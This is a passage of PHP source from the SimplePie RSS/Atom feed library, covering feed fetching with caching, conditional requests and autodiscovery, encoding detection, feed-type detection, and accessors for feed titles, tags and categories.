        // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
        elseif (!extension_loaded('xmlreader')) {
            static $xml_is_sane = null;
            if ($xml_is_sane === null) {
                $parser_check = xml_parser_create();
                xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
                if (\PHP_VERSION_ID < 80000) {
                    xml_parser_free($parser_check);
                }
                $xml_is_sane = isset($values[0]['value']);
            }
            if (!$xml_is_sane) {
                return false;
            }
        }

        // The default sanitize class gets set in the constructor, check if it has
        // changed.
        if ($this->registry->get_class(Sanitize::class) !== Sanitize::class) {
            $this->sanitize = $this->registry->create(Sanitize::class);
        }
        if (method_exists($this->sanitize, 'set_registry')) {
            $this->sanitize->set_registry($this->registry);
        }

        // Pass whatever was set with config options over to the sanitizer.
        // Pass the classes in for legacy support; new classes should use the registry instead
        $cache = $this->registry->get_class(Cache::class);
        \assert($cache !== null, 'Cache must be defined');
        $this->sanitize->pass_cache_data(
            $this->enable_cache,
            $this->cache_location,
            $this->cache_namefilter,
            $cache,
            $this->cache
        );

        $http_client = $this->get_http_client();

        if ($http_client instanceof Psr18Client) {
            $this->sanitize->set_http_client(
                $http_client->getHttpClient(),
                $http_client->getRequestFactory(),
                $http_client->getUriFactory()
            );
        }

        if (!empty($this->multifeed_url)) {
            $i = 0;
            $success = 0;
            $this->multifeed_objects = [];
            $this->error = [];
            foreach ($this->multifeed_url as $url) {
                $this->multifeed_objects[$i] = clone $this;
                $this->multifeed_objects[$i]->set_feed_url($url);
                $single_success = $this->multifeed_objects[$i]->init();
                $success |= $single_success;
                if (!$single_success) {
                    $this->error[$i] = $this->multifeed_objects[$i]->error();
                }
                $i++;
            }
            return (bool) $success;
        } elseif ($this->feed_url === null && $this->raw_data === null) {
            return false;
        }

        $this->error = null;
        $this->data = [];
        $this->check_modified = false;
        $this->multifeed_objects = [];
        $cache = false;

        if ($this->feed_url !== null) {
            $parsed_feed_url = $this->registry->call(Misc::class, 'parse_url', [$this->feed_url]);

            // Decide whether to enable caching
            if ($this->enable_cache && $parsed_feed_url['scheme'] !== '') {
                $cache = $this->get_cache($this->feed_url);
            }

            // Fetch the data into $this->raw_data
            if (($fetched = $this->fetch_data($cache)) === true) {
                return true;
            } elseif ($fetched === false) {
                return false;
            }

            [$headers, $sniffed] = $fetched;
        }

        // Empty response check
        if (empty($this->raw_data)) {
            $this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
            return false;
        }

        // Set up array of possible encodings
        $encodings = [];

        // First check to see if input has been overridden.
        if ($this->input_encoding !== false) {
            $encodings[] = strtoupper($this->input_encoding);
        }

        $application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'];
        $text_types = ['text/xml', 'text/xml-external-parsed-entity'];

        // RFC 3023 (only applies to sniffed content)
        if (isset($sniffed)) {
            if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
                $encodings[] = 'UTF-8';
            } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings[] = 'US-ASCII';
            }
            // Text MIME-type default
            elseif (substr($sniffed, 0, 5) === 'text/') {
                $encodings[] = 'UTF-8';
            }
        }

        // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
        $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
        $encodings[] = 'UTF-8';
        $encodings[] = 'ISO-8859-1';

        // There's no point in trying an encoding twice
        $encodings = array_unique($encodings);

        // Loop through each possible encoding, till we return something, or run out of possibilities
        foreach ($encodings as $encoding) {
            // Change the encoding to UTF-8 (as we always use UTF-8 internally)
            if ($utf8_data = $this->registry->call(Misc::class, 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) {
                // Create new parser
                $parser = $this->registry->create(Parser::class);

                // If it's parsed fine
                if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url ?? '')) {
                    $this->data = $parser->get_data();
                    if (!($this->get_type() & ~self::TYPE_NONE)) {
                        $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
                        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                        return false;
                    }

                    if (isset($headers)) {
                        $this->data['headers'] = $headers;
                    }
                    $this->data['build'] = Misc::get_build();

                    // Cache the file if caching is enabled
                    $this->data['cache_expiration_time'] = $this->cache_duration + time();

                    if ($cache && !$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                    return true;
                }
            }
        }

        if (isset($parser)) {
            // We have an error, just set Misc::error to it and quit
            $this->error = $this->feed_url;
            $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
        } else {
            $this->error = 'The data could not be converted to UTF-8.';
            if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
                $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
            } else {
                $missingExtensions = [];
                if (!extension_loaded('iconv')) {
                    $missingExtensions[] = 'iconv';
                }
                if (!extension_loaded('mbstring')) {
                    $missingExtensions[] = 'mbstring';
                }
                if (!class_exists('\UConverter')) {
                    $missingExtensions[] = 'intl (PHP 5.5+)';
                }
                $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
            }
        }

        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);

        return false;
    }

    /**
     * Fetch the data
     *
     * If the data is already cached, attempt to fetch it from there instead
     *
     * @param Base|DataCache|false $cache Cache handler, or false to not load from the cache
     * @return array{array<string, string>, string}|bool Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
     */
    protected function fetch_data(&$cache)
    {
        if ($cache instanceof Base) {
            // @trigger_error(sprintf('Providing $cache as "\SimplePie\Cache\Base" in %s() is deprecated since SimplePie 1.8.0, please provide "\SimplePie\Cache\DataCache" implementation instead.', __METHOD__), \E_USER_DEPRECATED);
            $cache = new BaseDataCache($cache);
        }

        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if ($cache !== false && !$cache instanceof DataCache) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($cache) must be of type %s|false',
                __METHOD__,
                DataCache::class
            ), 1);
        }

        $cacheKey = $this->get_cache_filename($this->feed_url);

        // If it's enabled, use the cache
        if ($cache) {
            // Load the Cache
            $this->data = $cache->get_data($cacheKey, []);

            if (!empty($this->data)) {
                // If the cache is for an outdated build of SimplePie
                if (!isset($this->data['build']) || $this->data['build'] !== Misc::get_build()) {
                    $cache->delete_data($cacheKey);
                    $this->data = [];
                }
                // If we've hit a collision just rerun it with caching disabled
                elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) {
                    $cache = false;
                    $this->data = [];
                }
                // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
                elseif (isset($this->data['feed_url'])) {
                    // Do not need to do feed autodiscovery yet.
                    if ($this->data['feed_url'] !== $this->data['url']) {
                        $this->set_feed_url($this->data['feed_url']);
                        $this->data['url'] = $this->data['feed_url'];

                        $cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->autodiscovery_cache_duration);

                        return $this->init();
                    }

                    $cache->delete_data($this->get_cache_filename($this->feed_url));
                    $this->data = [];
                }
                // Check if the cache has been updated
                elseif (!isset($this->data['cache_expiration_time']) || $this->data['cache_expiration_time'] < time()) {
                    // Want to know if we tried to send last-modified and/or etag headers
                    // when requesting this file. (Note that it's up to the file to
                    // support this, but we don't always send the headers either.)
                    $this->check_modified = true;
                    if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) {
                        $headers = [
                            'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                        ];
                        if (isset($this->data['headers']['last-modified'])) {
                            $headers['if-modified-since'] = $this->data['headers']['last-modified'];
                        }
                        if (isset($this->data['headers']['etag'])) {
                            $headers['if-none-match'] = $this->data['headers']['etag'];
                        }

                        try {
                            $file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
                            $this->status_code = $file->get_status_code();
                        } catch (ClientException $th) {
                            $this->check_modified = false;
                            $this->status_code = 0;

                            if ($this->force_cache_fallback) {
                                $this->data['cache_expiration_time'] = $this->cache_duration + time();
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);

                                return true;
                            }

                            $failedFileReason = $th->getMessage();
                        }

                        if ($this->status_code === 304) {
                            // Set raw_data to false here too, to signify that the cache
                            // is still valid.
                            $this->raw_data = false;
                            $this->data['cache_expiration_time'] = $this->cache_duration + time();
                            $cache->set_data($cacheKey, $this->data, $this->cache_duration);

                            return true;
                        }
                    }
                }
                // If the cache is still valid, just return true
                else {
                    $this->raw_data = false;
                    return true;
                }
            }
            // If the cache is empty
            else {
                $this->data = [];
            }
        }

        // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
        if (!isset($file)) {
            if ($this->file instanceof File && $this->file->get_final_requested_uri() === $this->feed_url) {
                $file = &$this->file;
            } elseif (isset($failedFileReason)) {
                // Do not try to fetch again if we already failed once.
                // If the file connection had an error, set SimplePie::error to that and quit
                $this->error = $failedFileReason;

                return !empty($this->data);
            } else {
                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];
                try {
                    $file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
                } catch (ClientException $th) {
                    // If the file connection has an error, set SimplePie::error to that and quit
                    $this->error = $th->getMessage();

                    return !empty($this->data);
                }
            }
        }
        $this->status_code = $file->get_status_code();

        // If the file connection has an error, set SimplePie::error to that and quit
        if (!(!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
            $this->error = 'Retrieved unsupported status code "' . $this->status_code . '"';
            return !empty($this->data);
        }

        if (!$this->force_feed) {
            // Check if the supplied URL is a feed, if it isn't, look for it.
            $locate = $this->registry->create(Locator::class, [
                (!$file instanceof File) ? File::fromResponse($file) : $file,
                $this->timeout,
                $this->useragent,
                $this->max_checked_feeds,
                $this->force_fsockopen,
                $this->curl_options
            ]);

            $http_client = $this->get_http_client();

            if ($http_client instanceof Psr18Client) {
                $locate->set_http_client(
                    $http_client->getHttpClient(),
                    $http_client->getRequestFactory(),
                    $http_client->getUriFactory()
                );
            }

            if (!$locate->is_feed($file)) {
                $copyStatusCode = $file->get_status_code();
                $copyContentType = $file->get_header_line('content-type');
                try {
                    $microformats = false;
                    if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
                        $doc = new \DOMDocument();
                        @$doc->loadHTML($file->get_body_content());
                        $xpath = new \DOMXpath($doc);
                        // Check for both h-feed and h-entry, as both a feed with no entries
                        // and a list of entries without an h-feed wrapper are both valid.
                        $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                            'contains(concat(" ", @class, " "), " h-entry ")]';

                        /** @var \DOMNodeList<\DOMElement> $result */
                        $result = $xpath->query($query);
                        $microformats = $result->length !== 0;
                    }
                    // Now also do feed discovery, but if microformats were found don't
                    // overwrite the current value of file.
                    $discovered = $locate->find(
                        $this->autodiscovery,
                        $this->all_discovered_feeds
                    );
                    if ($microformats) {
                        $hub = $locate->get_rel_link('hub');
                        $self = $locate->get_rel_link('self');
                        if ($hub || $self) {
                            $file = $this->store_links($file, $hub, $self);
                        }
                        // Push the current file onto all_discovered feeds so the user can
                        // be shown this as one of the options.
                        if ($this->all_discovered_feeds !== null) {
                            $this->all_discovered_feeds[] = $file;
                        }
                    } else {
                        if ($discovered) {
                            $file = $discovered;
                        } else {
                            // We need to unset this so that if SimplePie::set_file() has
                            // been called that object is untouched
                            unset($file);
                            $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
                            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                            return false;
                        }
                    }
                } catch (SimplePieException $e) {
                    // We need to unset this so that if SimplePie::set_file() has been called that object is untouched
                    unset($file);
                    // This is usually because DOMDocument doesn't exist
                    $this->error = $e->getMessage();
                    $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]);
                    return false;
                }

                if ($cache) {
                    $this->data = [
                        'url' => $this->feed_url,
                        'feed_url' => $file->get_final_requested_uri(),
                        'build' => Misc::get_build(),
                        'cache_expiration_time' => $this->cache_duration + time(),
                    ];

                    if (!$cache->set_data($cacheKey, $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                }
            }
            $this->feed_url = $file->get_final_requested_uri();
            $locate = null;
        }

        $this->raw_data = $file->get_body_content();
        $this->permanent_url = $file->get_permanent_uri();

        $headers = [];
        foreach ($file->get_headers() as $key => $values) {
            $headers[$key] = implode(', ', $values);
        }

        $sniffer = $this->registry->create(Sniffer::class, [&$file]);
        $sniffed = $sniffer->get_type();

        return [$headers, $sniffed];
    }

    /**
     * Get the error message for the occurred error
     *
     * @return string|string[]|null Error message, or array of messages for multifeeds
     */
    public function error()
    {
        return $this->error;
    }

    /**
     * Get the last HTTP status code
     *
     * @return int Status code
     */
    public function status_code()
    {
        return $this->status_code;
    }

    /**
     * Get the raw XML
     *
     * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
     * the data instead of printing it.
     *
     * @return string|false Raw XML data, false if the cache is used
     */
    public function get_raw_data()
    {
        return $this->raw_data;
    }

    /**
     * Get the character encoding used for output
     *
     * @since Preview Release
     * @return string
     */
    public function get_encoding()
    {
        return $this->sanitize->output_encoding;
    }

    /**
     * Send the content-type header with correct encoding
     *
     * This method ensures that the SimplePie-enabled page is being served with
     * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
     * and character encoding HTTP headers (character encoding determined by the
     * {@see set_output_encoding} config option).
     *
     * This won't work properly if any content or whitespace has already been
     * sent to the browser, because it relies on PHP's
     * {@link http://php.net/header header()} function, and these are the
     * circumstances under which the function works.
     *
     * Because it's setting these settings for the entire page (as is the nature
     * of HTTP headers), this should only be used once per page (again, at the
     * top).
     *
     * @param string $mime MIME type to serve the page as
     * @return void
     */
    public function handle_content_type(string $mime = 'text/html')
    {
        if (!headers_sent()) {
            $header = "Content-type: $mime;";
            if ($this->get_encoding()) {
                $header .= ' charset=' . $this->get_encoding();
            } else {
                $header .= ' charset=UTF-8';
            }
            header($header);
        }
    }

    /**
     * Get the type of the feed
     *
     * This returns a self::TYPE_* constant, which can be tested against
     * using {@link http://php.net/language.operators.bitwise bitwise operators}
     *
     * @since 0.8 (usage changed to using constants in 1.0)
     * @see self::TYPE_NONE Unknown.
     * @see self::TYPE_RSS_090 RSS 0.90.
     * @see self::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
     * @see self::TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
     * @see self::TYPE_RSS_091 RSS 0.91.
     * @see self::TYPE_RSS_092 RSS 0.92.
     * @see self::TYPE_RSS_093 RSS 0.93.
     * @see self::TYPE_RSS_094 RSS 0.94.
     * @see self::TYPE_RSS_10 RSS 1.0.
     * @see self::TYPE_RSS_20 RSS 2.0.x.
     * @see self::TYPE_RSS_RDF RDF-based RSS.
     * @see self::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
     * @see self::TYPE_RSS_ALL Any version of RSS.
     * @see self::TYPE_ATOM_03 Atom 0.3.
     * @see self::TYPE_ATOM_10 Atom 1.0.
     * @see self::TYPE_ATOM_ALL Any version of Atom.
     * @see self::TYPE_ALL Any known/supported feed type.
     * @return int-mask-of<self::TYPE_*> constant
     */
    public function get_type()
    {
        if (!isset($this->data['type'])) {
            $this->data['type'] = self::TYPE_ALL;
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_10;
            } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_03;
            } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) {
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_10;
                }
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_090;
                }
            } elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) {
                $this->data['type'] &= self::TYPE_RSS_ALL;
                if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                    switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                        case '0.91':
                            $this->data['type'] &= self::TYPE_RSS_091;
                            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                    case '0':
                                        $this->data['type'] &= self::TYPE_RSS_091_NETSCAPE;
                                        break;

                                    case '24':
                                        $this->data['type'] &= self::TYPE_RSS_091_USERLAND;
                                        break;
                                }
                            }
                            break;

                        case '0.92':
                            $this->data['type'] &= self::TYPE_RSS_092;
                            break;

                        case '0.93':
                            $this->data['type'] &= self::TYPE_RSS_093;
                            break;

                        case '0.94':
                            $this->data['type'] &= self::TYPE_RSS_094;
                            break;

                        case '2.0':
                            $this->data['type'] &= self::TYPE_RSS_20;
                            break;
                    }
                }
            } else {
                $this->data['type'] = self::TYPE_NONE;
            }
        }
        return $this->data['type'];
    }

    /**
     * Get the URL for the feed
     *
     * When the 'permanent' mode is enabled, returns the original feed URL,
     * except in the case of an `HTTP 301 Moved Permanently` status response,
     * in which case the location of the first redirection is returned.
     *
     * When the 'permanent' mode is disabled (default),
     * may or may not be different from the URL passed to {@see set_feed_url()},
     * depending on whether auto-discovery was used, and whether there were
     * any redirects along the way.
     *
     * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
     * @todo Support <itunes:new-feed-url>
     * @todo Also, |atom:link|@rel=self
     * @param bool $permanent Permanent mode to return only the original URL or the first redirection
     * iff it is a 301 redirection
     * @return string|null
     */
    public function subscribe_url(bool $permanent = false)
    {
        if ($permanent) {
            if ($this->permanent_url !== null) {
                // sanitize encodes ampersands which are required when used in a url.
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->permanent_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        } else {
            if ($this->feed_url !== null) {
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->feed_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        }
        return null;
    }

    /**
     * Get data for an feed-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the opening feed tag.
     *
     * The return value is an indexed array of elements matching the given
     * namespace and tag name. Each element has `attribs`, `data` and `child`
     * subkeys. For `attribs` and `child`, these contain namespace subkeys.
     * `attribs` then has one level of associative name => value data (where
     * `value` is a string) after the namespace. `child` has tag-indexed keys
     * after the namespace, each member of which is an indexed array matching
     * this same format.
     *
     * For example:
     * <pre>
     * // This is probably a bad example because we already support
     * // <media:content> natively, but it shows you how to parse through
     * // the nodes.
     * $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group');
     * $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'];
     * $file = $content[0]['attribs']['']['url'];
     * echo $file;
     * </pre>
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_feed_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_10) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_ATOM_03) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_RDF) {
            if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * channel/header section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_channel_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_ALL) {
            if ($return = $this->get_feed_tags($namespace, $tag)) {
                return $return;
            }
        }
        if ($type & self::TYPE_RSS_10) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * image/logo section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_image_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_RSS_10) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get the base URL value from the feed
     *
     * Uses `<xml:base>` if available,
     * otherwise uses the first 'self' link or the first 'alternate' link of the feed,
     * or failing that, the URL of the feed itself.
     *
     * @see get_link
     * @see subscribe_url
     *
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        if (($link = $this->get_link(0, 'alternate')) !== null) {
            return $link;
        }
        if (($link = $this->get_link(0, 'self')) !== null) {
            return $link;
        }

        return $this->subscribe_url() ?? '';
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see Sanitize::sanitize()
     * @param string $data Data to sanitize
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        try {
            // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
            return $this->sanitize->sanitize($data, $type, $base);
        } catch (SimplePieException $e) {
            if (!$this->enable_exceptions) {
                $this->error = $e->getMessage();
                $this->registry->call(Misc::class, 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]);
                return '';
            }

            throw $e;
        }
    }

    /**
     * Get the title of the feed
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since 1.0 (previously called `get_feed_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get a category for the feed
     *
     * @since Unknown
     * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
     * @return Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the feed
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Unknown
     * @return array<Category>|null List of {@see Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
